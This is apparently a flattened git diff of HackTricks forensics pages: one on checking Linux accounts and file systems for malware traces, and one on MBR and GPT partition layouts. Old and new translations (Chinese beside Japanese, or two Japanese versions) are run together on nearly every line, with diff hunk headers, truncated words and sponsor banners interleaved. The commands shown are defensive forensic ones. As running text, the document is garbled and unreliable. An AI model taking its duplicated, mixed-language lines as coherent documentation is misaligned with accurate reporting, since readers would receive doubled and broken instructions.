立即获取访问权限: Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 检查用户帐户和登录活动 ## ユーザーアカウントとログオン活動のレビュー
检查 _**/etc/passwd**_、_**/etc/shadow**_ 和**安全日志**查找异常名称或在已知未经授权事件附近创建或使用的帐户。还要检查可能的sudo暴力攻击。\ _**/etc/passwd**_、_**/etc/shadow**_、および **セキュリティログ** を調べて、異常な名前や、既知の不正イベントに近い位置で作成または使用されたアカウントを確認します。また、sudoのブルートフォース攻撃の可能性もチェックしてください。\
此外,检查文件如 _**/etc/sudoers**__**/etc/groups**_,查看是否给用户授予了意外的特权。\ さらに、_**/etc/sudoers**_ や _**/etc/groups**_ のようなファイルを確認し、ユーザーに与えられた予期しない特権を探します。\
后,查找没有密码或**易于猜测**密码的帐户 後に、**パスワードなし**または**簡単に推測できる**パスワードを持つアカウントを探します
## 检查文件系统 ## ファイルシステムの調査
### 在恶意软件调查中分析文件系统结构 ### マルウェア調査におけるファイルシステム構造の分析
在调查恶意软件事件时,文件系统的结构是信息的重要来源,可以揭示事件序列和恶意软件的内容。然而,恶意软件作者正在开发技术来阻碍此分析,例如修改文件时间戳或避免使用文件系统进行数据存储 マルウェアインシデントを調査する際、ファイルシステムの構造は重要な情報源であり、イベントの順序やマルウェアの内容を明らかにします。しかし、マルウェアの作者は、ファイルのタイムスタンプを変更したり、データストレージのためにファイルシステムを回避したりするなど、この分析を妨げる技術を開発しています
为了对抗这些反取证方法,重要的是 これらのアンチフォレンジック手法に対抗するためには、以下が重要です
* 使用工具如**Autopsy**进行彻底的时间线分析,可视化事件时间线,或使用**Sleuth Kit**的`mactime`获取详细的时间线数据 * **Autopsy** のようなツールを使用して、イベントのタイムラインを視覚化するために**徹底的なタイムライン分析を行う**か、**Sleuth Kit** の `mactime` を使用して詳細なタイムラインデータを取得します
* 检查系统的$PATH中的意外脚本可能包括攻击者使用的shell或PHP脚本 * 攻撃者によって使用されるシェルやPHPスクリプトを含む可能性のある、システムの $PATH にある**予期しないスクリプトを調査する**
* 检查`/dev`中的非典型文件,通常包含特殊文件,但可能包含与恶意软件相关的文件 * **/dev** で異常なファイルを調べる。通常は特別なファイルが含まれていますが、マルウェア関連のファイルが存在する可能性があります
* 搜索具有像".. "(点 点 空格)或"..^G"(点 点 控制-G等名称的隐藏文件或目录可能隐藏恶意内容 * **隠しファイルやディレクトリを探す**。名前が ".. " (ドットドットスペース) や "..^G" (ドットドットコントロール-G) のようなものは、悪意のあるコンテンツを隠している可能性があります
* 使用命令查找具有root权限的setuid文件: `find / -user root -perm -04000 -print`,这会找到具有提升权限的文件,可能会被攻击者滥用 * コマンド `find / -user root -perm -04000 -print` を使用して**setuid rootファイルを特定する**。これにより、攻撃者によって悪用される可能性のある権限の高いファイルが見つかります
* 检查inode表中的删除时间戳以发现大量文件删除可能表明存在rootkit或特洛伊木马 * **inodeテーブルの削除タイムスタンプをレビューし**、大量のファイル削除を特定します。これは、rootkitやトロイの木馬の存在を示す可能性があります
* 在识别一个恶意文件后检查相邻的inode因为它们可能被放在一起 * 1つの悪意のあるファイルを特定した後、**隣接するinodeを調査し**、近くに配置されている悪意のあるファイルを探します
* 检查常见的二进制目录_/bin_、_/sbin_中最近修改的文件因为这些文件可能被恶意软件更改 * **一般的なバイナリディレクトリ** (_/bin_、_/sbin_) で最近変更されたファイルを確認します。これらはマルウェアによって変更されている可能性があります
````bash ````bash
# List recent files in a directory: # List recent files in a directory:
ls -laR --sort=time /bin``` ls -laR --sort=time /bin```
@ -374,20 +376,20 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n``` ls -lai /bin | sort -n```
```` ````
{% hint style="info" %} {% hint style="info" %}
**攻撃者**は**時間を変更**して**ファイルを正規**に見せることができますが、**inode**を変更することはできません。同じフォルダ内の他のファイルと**同じ時間に作成および変更**されたことを示す**ファイル**が見つかった場合、**inode**が**予期しないほど大きい**場合、そのファイルの**タイムスタンプが変更された**ことになります。 注意してください、**攻撃者**は**ファイルを正当なものに見せるために** **時間**を**変更**することができますが、**inode**を**変更**することは**できません**。もし、**ファイル**が同じフォルダ内の他のファイルと**同じ時間**に作成および変更されたことを示しているが、**inode**が**予期せず大きい**場合、その**ファイルのタイムスタンプは変更された**ことになります。
{% endhint %} {% endhint %}
## 異なるファイルシステムバージョンのファイルを比較 ## 異なるファイルシステムバージョンの比較
### ファイルシステムバージョン比較の要 ### ファイルシステムバージョン比較の
ファイルシステムバージョンを比較し変更点を特定するために、簡略化された`git diff`コマンドを使用します: ファイルシステムバージョンを比較し変更点を特定するために、簡略化された`git diff`コマンドを使用します:
* **新しいファイルを見つける**には、2つのディレクトリを比較します * **新しいファイルを見つけるために**、2つのディレクトリを比較します
```bash ```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
``` ```
* **変更されたコンテンツ**については、特定の行を無視して変更点をリストアップします。 * **変更された内容**、特定の行を無視しながら変更をリストします:
```bash ```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
``` ```
@ -395,7 +397,7 @@ git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ |
```bash ```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
``` ```
* **フィルターオプション** (`--diff-filter`) は、追加された (`A`)、削除された (`D`)、または変更された (`M`) ファイルなど、特定の変更絞り込むのに役立ちます。 * **フィルターオプション** (`--diff-filter`) は、追加された (`A`)、削除された (`D`)、または変更された (`M`) ファイルなど、特定の変更絞り込むのに役立ちます。
* `A`: 追加されたファイル * `A`: 追加されたファイル
* `C`: コピーされたファイル * `C`: コピーされたファイル
* `D`: 削除されたファイル * `D`: 削除されたファイル
@ -404,33 +406,33 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
* `T`: タイプの変更(例:ファイルからシンボリックリンクへ) * `T`: タイプの変更(例:ファイルからシンボリックリンクへ)
* `U`: マージされていないファイル * `U`: マージされていないファイル
* `X`: 不明なファイル * `X`: 不明なファイル
* `B`: 破損したファイル * `B`: 壊れたファイル
## 参考文献 ## 参考文献
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf) * [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) * [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) * [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
* **書籍: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** * **書籍: Linuxシステムのマルウェアフォレンジックフィールドガイド: デジタルフォレンジックフィールドガイド**
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
**サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したり、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! あなたは**サイバーセキュリティ会社**で働いていますか?あなたの**会社をHackTricksで宣伝したいですか**?それとも**最新のPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか**[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを入手 * [**PEASSファミリー**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見てください
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる * [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **参加して** [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**私を** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**でフォローしてください。**
**ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** **あなたのハッキングトリックを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを送信してください。**
</details> </details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で**最も先進的な**コミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,153 +1,155 @@
# パーティション/ファイルシステム/カービング # パーティション/ファイルシステム/カービング
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**@hacktricks\_live**をフォローする
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>
{% endhint %}
## パーティション ## パーティション
ハードドライブまたは**SSDディスクには、物理的にデータを分離するための異なるパーティションが含まれて**いる可能性があります。\ ハードドライブまたは**SSDディスクは、データを物理的に分離する目的で異なるパーティションを含むことができます**。\
ディスクの**最小**単位は**セクタ**です通常、512Bで構成されています。したがって、各パーティションのサイズはそのサイズの倍数である必要があります。 ディスクの**最小**単位は**セクター**通常は512Bで構成されるです。したがって、各パーティションのサイズはそのサイズの倍数である必要があります。
### MBRMaster Boot Record ### MBRマスターブートレコード
これは、**ブートコードの446Bの後のディスクの最初のセクタ**に割り当てられます。このセクタは、PCにパーティションをどこからマウントすべきかを示すために不可欠です。\ これは、**ブートコードの446Bの後のディスクの最初のセクターに割り当てられています**。このセクターは、PCにどのパーティションをどこからマウントするかを示すために不可欠です。\
最大で**4つのパーティション**(最大で**1つだけがアクティブ/ブート可能**を許可します。ただし、より多くのパーティションが必要な場合は、**拡張パーティション**を使用できます。この最初のセクタの最後のバイトは、ブートレコードの署名**0x55AA**です。1つのパーティションだけがアクティブにマークされます。\ 最大で**4つのパーティション**を許可します(最大で**1つ**だけがアクティブ/**ブート可能**です)。ただし、より多くのパーティションが必要な場合は、**拡張パーティション**を使用できます。この最初のセクターの**最終バイト**はブートレコード署名**0x55AA**です。アクティブとしてマークできるのは1つのパーティションのみです。\
MBRは**最大2.2TB**を許可します。 MBRは**最大2.2TB**を許可します。
![](<../../../.gitbook/assets/image (489).png>) ![](<../../../.gitbook/assets/image (489).png>)
![](<../../../.gitbook/assets/image (490).png>) ![](<../../../.gitbook/assets/image (490).png>)
MBRの**バイト440から443**には、**Windowsディスクシグネチャ**Windowsを使用している場合が含まれています。ハードディスクの論理ドライブレターは、Windowsディスクシグネチャに依存します。この署名を変更すると、Windowsの起動が阻害される可能性があります(ツール:[**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**。 MBRの**バイト440から443**の間には、**Windowsディスク署名**が見つかりますWindowsが使用されている場合。ハードディスクの論理ドライブレターはWindowsディスク署名に依存します。この署名を変更すると、Windowsがブートできなくなる可能性があります(ツール:[**Active Disk Editor**](https://www.disk-editor.org/index.html)****。
![](<../../../.gitbook/assets/image (493).png>) ![](<../../../.gitbook/assets/image (493).png>)
**フォーマット** **フォーマット**
| オフセット | 長さ | アイテム | | オフセット | 長さ | アイテム |
| ----------- | ---------- | ------------------- | | ----------- | ---------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | ブートコード | | 0 (0x00) | 446(0x1BE) | ブートコード |
| 446 (0x1BE) | 16 (0x10) | 第1パーティション | | 446 (0x1BE) | 16 (0x10) | 最初のパーティション |
| 462 (0x1CE) | 16 (0x10) | 2パーティション | | 462 (0x1CE) | 16 (0x10) | 2番目のパーティション |
| 478 (0x1DE) | 16 (0x10) | 3パーティション | | 478 (0x1DE) | 16 (0x10) | 3番目のパーティション |
| 494 (0x1EE) | 16 (0x10) | 4パーティション | | 494 (0x1EE) | 16 (0x10) | 4番目のパーティション |
| 510 (0x1FE) | 2 (0x2) | 署名 0x55 0xAA | | 510 (0x1FE) | 2 (0x2) | 署名 0x55 0xAA |
**パーティションレコードフォーマット** **パーティションレコードフォーマット**
| オフセット | 長さ | アイテム | | オフセット | 長さ | アイテム |
| --------- | -------- | ------------------------------------------------------ | | --------- | -------- | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | アクティブフラグ0x80 = ブート可能) | | 0 (0x00) | 1 (0x01) | アクティブフラグ (0x80 = ブート可能) |
| 1 (0x01) | 1 (0x01) | 開始ヘッド | | 1 (0x01) | 1 (0x01) | 開始ヘッド |
| 2 (0x02) | 1 (0x01) | 開始セクタビット0-5シリンダーの上位ビット6-7 | | 2 (0x02) | 1 (0x01) | 開始セクター (ビット0-5); シリンダの上位ビット (6-7) |
| 3 (0x03) | 1 (0x01) | 開始シリンダの下位8ビット | | 3 (0x03) | 1 (0x01) | 開始シリンダの下位8ビット |
| 4 (0x04) | 1 (0x01) | パーティションタイプコード0x83 = Linux | | 4 (0x04) | 1 (0x01) | パーティションタイプコード (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | 終了ヘッド | | 5 (0x05) | 1 (0x01) | 終了ヘッド |
| 6 (0x06) | 1 (0x01) | 終了セクタビット0-5シリンダーの上位ビット6-7 | | 6 (0x06) | 1 (0x01) | 終了セクター (ビット0-5); シリンダの上位ビット (6-7) |
| 7 (0x07) | 1 (0x01) | 終了シリンダの下位8ビット | | 7 (0x07) | 1 (0x01) | 終了シリンダの下位8ビット |
| 8 (0x08) | 4 (0x04) | パーティションの前のセクタ数(リトルエンディアン) | | 8 (0x08) | 4 (0x04) | パーティション前のセクター (リトルエンディアン) |
| 12 (0x0C) | 4 (0x04) | パーティション内のセクタ | | 12 (0x0C) | 4 (0x04) | パーティション内のセクタ |
LinuxでMBRをマウントするには、まず開始オフセットを取得する必要があります`fdisk`と`p`コマンドを使用できます) LinuxでMBRをマウントするには、まず開始オフセットを取得する必要があります`fdisk`と`p`コマンドを使用できます)
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) ![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
その後、次のコードを使用します。 次に、次のコードを使用します。
```bash ```bash
#Mount MBR in Linux #Mount MBR in Linux
mount -o ro,loop,offset=<Bytes> mount -o ro,loop,offset=<Bytes>
#63x512 = 32256Bytes #63x512 = 32256Bytes
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
``` ```
**LBALogical block addressing** **LBA (論理ブロックアドレッシング)**
**Logical block addressing****LBA**)は、コンピュータの記憶装置に保存されているデータのブロックの場所を指定するために使用される一般的なスキームです。一般的にはハードディスクドライブなどの二次記憶システムで使用されます。LBAは特にシンプルな線形アドレッシングスキームで、**ブロックは整数インデックスによって特定され**、最初のブロックはLBA 0、2番目はLBA 1、というようになります。 **論理ブロックアドレッシング** (**LBA**) は、コンピュータストレージデバイスに保存されたデータブロックの位置を指定するために使用される一般的なスキームで、通常はハードディスクドライブなどの二次ストレージシステムです。LBAは特にシンプルな線形アドレッシングスキームであり、**ブロックは整数インデックスによって位置付けられ**、最初のブロックはLBA 0、2番目はLBA 1、というように続きます。
### GPTGUID Partition Table ### GPT (GUIDパーティションテーブル)
GUID Partition Table、通称GPTは、MBRMaster Boot Recordと比較して拡張機能が優れているために好まれています。GPTの特徴は以下の通りです: GUIDパーティションテーブル、通称GPTは、MBRマスターブートレコードに比べてその強化された機能のために好まれています。GPTは、**パーティションのためのグローバルにユニークな識別子**を持つことで、いくつかの点で際立っています:
* **位置とサイズ**GPTとMBRはどちらも**セクタ0**から開始します。ただし、GPTは**64ビット**で動作し、MBRの32ビットとは異なります。 * **位置とサイズ**: GPTとMBRは両方とも**セクター0**から始まります。しかし、GPTは**64ビット**で動作し、MBRの32ビットとは対照的です。
* **パーティション制限**GPTはWindowsシステムで最大**128個のパーティション**をサポートし、**9.4ZB**のデータを収容できます。 * **パーティション制限**: GPTはWindowsシステムで最大**128パーティション**をサポートし、最大**9.4ZB**のデータを収容できます。
* **パーティション名**最大36文字のUnicode文字でパーティションに名前を付ける機能を提供します。 * **パーティション名**: 最大36のUnicode文字でパーティションに名前を付けることができます。
**データの強靱性と回復** **データの耐障害性と回復**:
* **冗長性**MBRとは異なり、GPTはパーティショニングとブートデータを単一の場所に制限しません。これらのデータをディスク全体に複製することで、データの整合性と強靱性が向上します。 * **冗長性**: MBRとは異なり、GPTはパーティショニングとブートデータを単一の場所に制限しません。ディスク全体にこのデータを複製し、データの整合性と耐障害性を向上させます。
* **巡回冗長性チェックCRC**GPTはCRCを使用してデータの整合性を確保します。データの破損を積極的に監視し、検出された場合は別のディスク位置から破損したデータを回復しようとします。 * **循環冗長検査 (CRC)**: GPTはデータの整合性を確保するためにCRCを使用します。データの破損を積極的に監視し、検出された場合、GPTは別のディスク位置から破損したデータを回復しようとします。
**保護MBRLBA0** **保護MBR (LBA0)**:
* GPTは保護MBRを介して後方互換性を維持します。この機能は従来のMBRベースのユーティリティが誤ってGPTディスクを上書きするのを防ぐように設計されており、それによりGPTフォーマットされたディスク上のデータの整合性を保護します。 * GPTは保護MBRを通じて後方互換性を維持します。この機能はレガシーMBRスペースに存在しますが、古いMBRベースのユーティリティが誤ってGPTディスクを上書きするのを防ぐように設計されており、したがってGPTフォーマットのディスク上のデータの整合性を保護します。
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>) ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
**ハイブリッドMBRLBA 0 + GPT** **ハイブリッドMBR (LBA 0 + GPT)**
[Wikipediaより](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) [ウィキペディアから](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
BIOSサービスを介して**GPTベースのブート**をサポートするオペレーティングシステムでは、最初のセクタは**ブートローダー**コードの最初のステージを格納するために引き続き使用される場合がありますが、**GPTパーティション**を認識するように**変更**されます。 MBR内のブートローダーは、セクタサイズが512バイトであるとは想定してはいけません。 **EFI**ではなく**BIOS**サービスを通じて**GPTベースのブート**をサポートするオペレーティングシステムでは、最初のセクタは**ブートローダー**コードの最初のステージを保存するために使用される場合がありますが、**GPT** **パーティション**を認識するように**修正**されています。MBRのブートローダーは、512バイトのセクターサイズを仮定してはなりません。
**パーティションテーブルヘッダーLBA 1** **パーティションテーブルヘッダー (LBA 1)**
[Wikipediaより](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) [ウィキペディアから](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
パーティションテーブルヘッダーはディスク上の使用可能なブロックを定義します。また、パーティションテーブルを構成するパーティションエントリの数とサイズを定義しますテーブル内のオフセット80と84 パーティションテーブルヘッダーはディスク上の使用可能なブロックを定義します。また、パーティションテーブルを構成するパーティションエントリの数とサイズも定義しますテーブルのオフセット80および84
| オフセット | 長さ | 内容 | | オフセット | 長さ | 内容 |
| --------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 バイト | シグネチャ(リトルエンディアンマシン上の "EFI PART"、45h 46h 49h 20h 50h 41h 52h 54h または 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8) | | 0 (0x00) | 8バイト | シグネチャ ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h または 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)リトルエンディアンマシンで) |
| 8 (0x08) | 4 バイト | UEFI 2.8用のリビジョン1.000h 00h 01h 00h | | 8 (0x08) | 4バイト | バージョン 1.0 (00h 00h 01h 00h) UEFI 2.8 |
| 12 (0x0C) | 4 バイト | ヘッダーサイズ(リトルエンディアンでのバイト単位、通常は5Ch 00h 00h 00h または 92バイト | | 12 (0x0C) | 4バイト | ヘッダーサイズ(リトルエンディアン、バイト単位、通常は5Ch 00h 00h 00hまたは92バイト |
| 16 (0x10) | 4 バイト | ヘッダーのCRC32オフセット+0からヘッダーサイズまでのリトルエンディアンで、計算中にこのフィールドはゼロになります。 | | 16 (0x10) | 4バイト | ヘッダーの[CRC32](https://en.wikipedia.org/wiki/CRC32)(オフセット +0からヘッダーサイズまでリトルエンディアンで、このフィールドは計算中にゼロにされます |
| 20 (0x14) | 4 バイト | 予約済み;ゼロである必要があります | | 20 (0x14) | 4バイト | 予約; ゼロでなければならない |
| 24 (0x18) | 8 バイト | 現在のLBAこのヘッダーコピーの場所 | | 24 (0x18) | 8バイト | 現在のLBAこのヘッダーコピーの位置 |
| 32 (0x20) | 8 バイト | バックアップLBA他のヘッダーコピーの場所 | | 32 (0x20) | 8バイト | バックアップLBA他のヘッダーコピーの位置 |
| 40 (0x28) | 8 バイト | パーティションの最初の使用可能LBAプライマリパーティションテーブルの最後のLBA + 1 | | 40 (0x28) | 8バイト | パーティションのための最初の使用可能LBAプライマリパーティションテーブルの最後のLBA + 1 |
| 48 (0x30) | 8 バイト | 最後の使用可能LBAセカンダリパーティションテーブルの最初のLBA 1 | | 48 (0x30) | 8バイト | 最後の使用可能LBAセカンダリパーティションテーブルの最初のLBA 1 |
| 56 (0x38) | 16 バイト | ミックスエンディアンのディスクGUID | | 56 (0x38) | 16バイト | ディスクGUIDミックスエンディアン |
| 72 (0x48) | 8 バイト | パーティションエントリの配列の開始LBAプライマリコピーでは常に2 | | 72 (0x48) | 8バイト | パーティションエントリの配列の開始LBA常にプライマリコピーで2 |
| 80 (0x50) | 4 バイト | 配列内のパーティションエントリの数 | | 80 (0x50) | 4バイト | 配列内のパーティションエントリの数 |
| 84 (0x54) | 4 バイト | 単一のパーティションエントリのサイズ通常は80hまたは128 | | 84 (0x54) | 4バイト | 単一のパーティションエントリのサイズ通常は80hまたは128 |
| 88 (0x58) | 4 バイト | パーティションエントリ配列のCRC32リトルエンディアン | | 88 (0x58) | 4バイト | リトルエンディアンでのパーティションエントリ配列のCRC32 |
| 92 (0x5C) | \* | 残りのブロックにはゼロである必要がありますセクタサイズが512バイトの場合は420バイトですが、より大きなセクタサイズの場合はそれ以上になる可能性があります | | 92 (0x5C) | \* | 予約; ブロックの残りの部分はゼロでなければならない512バイトのセクターサイズの場合420バイト; ただし、より大きなセクターサイズではより多くなる可能性があります) |
**パーティションエントリLBA 233** **パーティションエントリ (LBA 233)**
| GUIDパーティションエントリ形式 | | | | GUIDパーティションエントリフォーマット | | |
| --------------------------- | -------- | --------------------------------------------------------------------------------------------------------------- | | --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
| オフセット | 長さ | 内容 | | オフセット | 長さ | 内容 |
| 0 (0x00) | 16 バイト | [パーティションタイプGUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs)(ミックスエンディアン) | | 0 (0x00) | 16バイト | [パーティションタイプGUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs)(ミックスエンディアン) |
| 16 (0x10) | 16 バイト | ユニークパーティションGUIDミックスエンディアン | | 16 (0x10) | 16バイト | ユニークパーティションGUIDミックスエンディアン |
| 32 (0x20) | 8 バイト | 最初のLBA[リトルエンディアン](https://en.wikipedia.org/wiki/Little\_endian) | | 32 (0x20) | 8バイト | 最初のLBA[リトルエンディアン](https://en.wikipedia.org/wiki/Little\_endian) |
| 40 (0x28) | 8 バイト | 最後のLBA包括的、通常は奇数) | | 40 (0x28) | 8バイト | 最後のLBA含む、通常は奇数) |
| 48 (0x30) | 8 バイト | 属性フラグビット60は読み取り専用を示す | | 48 (0x30) | 8バイト | 属性フラグビット60は読み取り専用を示す |
| 56 (0x38) | 72 バイト | パーティション名36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LEコードユニット | | 56 (0x38) | 72バイト | パーティション名36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LEコードユニット |
**パーティションタイプ** **パーティションタイプ**
![](<../../../.gitbook/assets/image (492).png>) ![](<../../../.gitbook/assets/image (492).png>)
詳細なパーティションタイプは[https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)で確認できます。 より多くのパーティションタイプは[https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)で確認できます。
### 検査 ### 検査
